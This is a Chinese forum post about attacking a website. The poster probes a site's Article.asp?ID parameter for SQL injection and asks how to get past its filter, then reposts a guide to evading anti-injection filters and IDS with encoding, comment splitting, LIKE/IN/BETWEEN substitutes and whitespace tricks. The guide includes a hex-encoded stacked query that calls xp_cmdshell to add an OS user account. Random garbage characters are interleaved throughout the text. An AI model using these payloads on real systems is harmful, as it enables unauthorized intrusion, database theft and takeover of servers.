路过这个网站,检测了一下.( V3 q2 o* h% y1 E& ^ a
http://www.xxx.cn/Article.asp?ID=117 and 1=16 _! h: H2 Z7 f" ~
直接返回主页
) a; }: u; S6 Bhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
. P# v3 x$ T8 e6 }& m直接返回主页
$ v5 i* D8 e* f% P6 v! d4 {1 @http://www.xxx.cn/Article.asp?ID=117 or
5 c% L* G7 d# |$ i没有返回主页 没有过滤or
7 P( x W" _8 \" B6 J1 L- F# Dhttp://www.xxx.cn/Article.asp?ID=117 and3 k; j/ J+ o1 R+ G( P7 N8 K. g: k
直接返回主页 看来过滤了and
1 b& ~% L8 j$ z+ D! A: Ghttp://www.xxx.cn/Article.asp?ID=117 or 1
7 {- c" W% B0 r+ L! o S1 e没有返回主页 即没有过滤or 也没有过滤1
0 w( E! o# ? R9 ehttp://www.xxx.cn/Article.asp?ID=117 or 1=1
. k( m' Y: o i3 n1 f直接返回主页 很明显过滤了等号
" V* K! | } ]or的特性是与and相反的.
, B: v4 }% Y/ L# X9 x) Bor 1=1 爆错 或与原页面不同
* ~6 w0 L% \$ s# ior 1=2 原页面相同6 Q0 n& b. s# R* Y1 H- J
这样就是一个注入点
3 I/ ]/ k, O7 t; h# {: U7 n; f但他过滤了=号 我就用><号代替=号吧!
( a: P( q( {) L1 `7 @8 T! t: qor 1<2 很明显是正确的,所以应该与原页面不同4 [/ E: v9 ^+ d# q7 A
or 1>2 很明显是错误的,所以应该与原页面相同
' `! O) r4 ~1 ~然后看看有没有过滤其他的查询语句,比如select.% o( M3 S! k7 ^4 U0 ]7 D
http://www.xxx.cn/Article.asp?ID=117 select
/ e: k' z) N5 t直接返回主页4 v# q6 H' Q9 J/ T% O
又迷茫了..1 j( |& o, o7 Q
/ ]7 I, k; N0 Z p) i
3 X, y; S" B1 h. _0 n+ U) icookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗- i; ~2 F. m, a* L. U; U
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
9 O1 ]5 }1 q4 y6 A================================================5 r& F( I2 L$ s+ G* w
以下是转贴:! ~- _- K# B4 {4 ~! e. Y8 I( v. \4 V1 K
5 v3 A+ ]$ y* S8 t J2 A$ c# t突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
8 f' X& f) Z, D; y5 Y. R# H% h经过我的收集,大部分的防注入程序都过滤了以下关键字: 8 v0 j" [2 k% i- t
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 9 N" C B3 [3 b; r3 `
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 \& T2 W' A0 J$ ^9 s% [1 _
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
0 \8 j7 {: k" Y6 D- W* A1、运用编码技术绕过 ; b& x7 d4 s4 q; \
如URLEncode编码,ASCII编码绕过。例如or 1=1即
7 E8 f3 T" P& h%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
! L& N4 Z) p5 E4 ~* j( M; o( H. i7 J" O/ Y3 M5 W
2、通过空格绕过
; z* I6 B$ l& b( `+ Z3 l: |如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 9 `3 I) M. Y; o4 @" _# e: _9 r
or’ swords’ =‘swords’ 6 ^5 x" {) P' X0 n
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 5 E( f! K Z; O& Y* {3 J v
3、运用字符串判断代替 . n/ ^" Z4 n! j; ]: ~9 R6 w L5 R
用经典的or 1=1判断绕过,如 6 f- A; c* {! o; x
or ’swords’ =’swords’ 1 U' ]! S# B- `
,这个方法就是网上在讨论的。 + G# Y$ u: H5 h4 z. W
4、通过类型转换修饰符N绕过 % _; g5 g& I0 q( B% [0 k9 v
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
- m: d& b3 H6 c5、通过+号拆解字符串绕过
9 [! S- U f$ w0 F1 _) ]2 P' V效果值得考证,但毕竟是一种方法。如
+ T% P2 X- A7 l! {+ kor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
7 K% Y7 z& F( C) K3 j6 ]$ J4 |, E! Q
6 m8 n5 |4 `' E. ^5 b$ D9 H X# R7 C6、通过LIKE绕过
2 z9 D; |. O Y( c以前怎么就没想到呢?如or
$ c3 D6 n7 G- m& ?* v’swords’ LIKE ’sw’ ) q g! B! ^& M
!!!显然可以很轻松的绕过 ; Z# ~ @2 N7 y9 m1 W$ \
“=”“>”
/ z( I: p# d' B% |: ?! B的限制…… / l+ \; r ?& z9 V* A- h" a
7、通过IN绕过 . Q4 |; a' }/ O5 d
与上面的LIKE的思路差不多,如 2 Z3 }9 m& X% K4 {
or ’swords’ IN (’swords’)
7 c. Y& B/ v3 {6 K$ C1 d7 {
S3 B" }7 N7 y% B, Z8、通过BETWEEN绕过 ! b& N. {; k/ D( U
如
% {% e1 d/ i7 H5 B7 X9 lor ’swords’ BETWEEN ’rw’ AND ’tw’
, O( c& F, h3 f8 I0 m
2 i6 j" z" N9 ? R y8 Y/ v9 `9、通过>或者<绕过
' U5 r, b, a! M$ ]5 oor ’swords’ > ’sw’ , x3 K. K3 \6 j! q- }" D
or ’swords’ < ’tw’ ; C* D6 L2 d! s w4 p
or 1<3
* U5 I+ ?! }# \/ Y5 d8 j……
0 Z! L' s# b& t( A7 @$ l10、运用注释语句绕过
0 w% p* Q& d: `用/**/代替空格,如: ! w, m% {9 \3 Y1 D6 q' d
UNION /**/ Select /**/user,pwd,from tbluser - ?( x! |1 [3 f0 E3 z
* w) ^. t3 {7 [4 K' Q5 u2 T用/**/分割敏感词,如: 0 g6 N" T5 j5 G* W
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
4 P# x* } Z5 A: G/ p
# _! n, @# L: p3 N! z11、用HEX绕过,一般的IDS都无法检测出来
h# \5 \+ r+ z/ O0x730079007300610064006D0069006E00 =hex(sysadmin) 3 `( m7 T0 O+ M3 P3 L! a
0x640062005F006F0077006E0065007200 =hex(db_owner)
4 o v% t$ e2 n- i0 T; O, J. ~$ c另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
- h$ E. S" t; N" }, `$ j declare @a sysname 5 l2 e% `. e$ ^- Z
select @a= + q: @* s0 x+ G. l
exec master.dbo.xp_cmdshell @a
' c4 r# f& M7 ]9 X% s效果 , B) s( [/ k- P5 N1 \/ z9 p
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
/ v2 `$ d; c" a5 B2 m1 D' q( S1 k* }4 N
其中的 # ?, `, Z& {1 v, F8 u- M& U
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 - d0 V3 ^6 s+ ] a+ u
就是 $ I h- i- I5 W# G. U/ j
“net user angel pass /add”( q6 C$ l; F( c8 S+ M4 G* r. ]
. H' q' A7 y7 F4 c, j, K一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。- W$ N5 z$ j* k- v: Y
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
9 w8 K5 f+ _8 K& {2 C另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似% T% A2 O) S. c: Z# Y7 d! @: Q5 u
Copy code
3 n% U; L' Z) a* t! aselect * from table exec xp_cmdshell'xxxxxxxxxx'9 \& S k; B( M8 [7 v
! \; Q K% i6 C( M- j+ v
. C! `* x+ r% F3 U/ Lselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'1 s: q' v& O. G% k6 Q4 a) r. z' B9 A
; `/ @2 R$ d8 y( j8 _1 o, x
! l4 E$ Z2 B/ {& U. v0 _+ U3 U ~select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'5 G. V2 q7 x0 @6 h6 |+ h5 a
9 E J+ e4 F/ L% l
- [' c } G- i0 h1 B, @select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
0 u1 a- `# b. S$ u c/ E
3 \4 F8 d# I, u: d, _6 r# u- W4 l的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?" A" [1 D0 J0 o& ? ~* d' m5 g } p
5 z( X; ~! E6 d9 q7 a/ m这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
1 r7 I/ c2 i+ J可能大家早就知道了,不管怎么说,发在这里吧!$ u5 k& S" G$ k" \: `4 |$ i8 R
% f+ ^0 h5 _( } M% j" [+ e
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。6 b1 b) D1 p- c9 t Z; W
5 t( Z9 k0 u$ l% k
7 h' I9 k0 \4 Z+ K: \$ a" U, a4 k0 j5 R/ Y! }4 i3 a
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
9 F! C% E8 u% C8 ]0 F% q& B比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
8 ~9 }% b4 |+ L# _ |" q& {& j# e- Z1 G$ ~! u' [+ W
|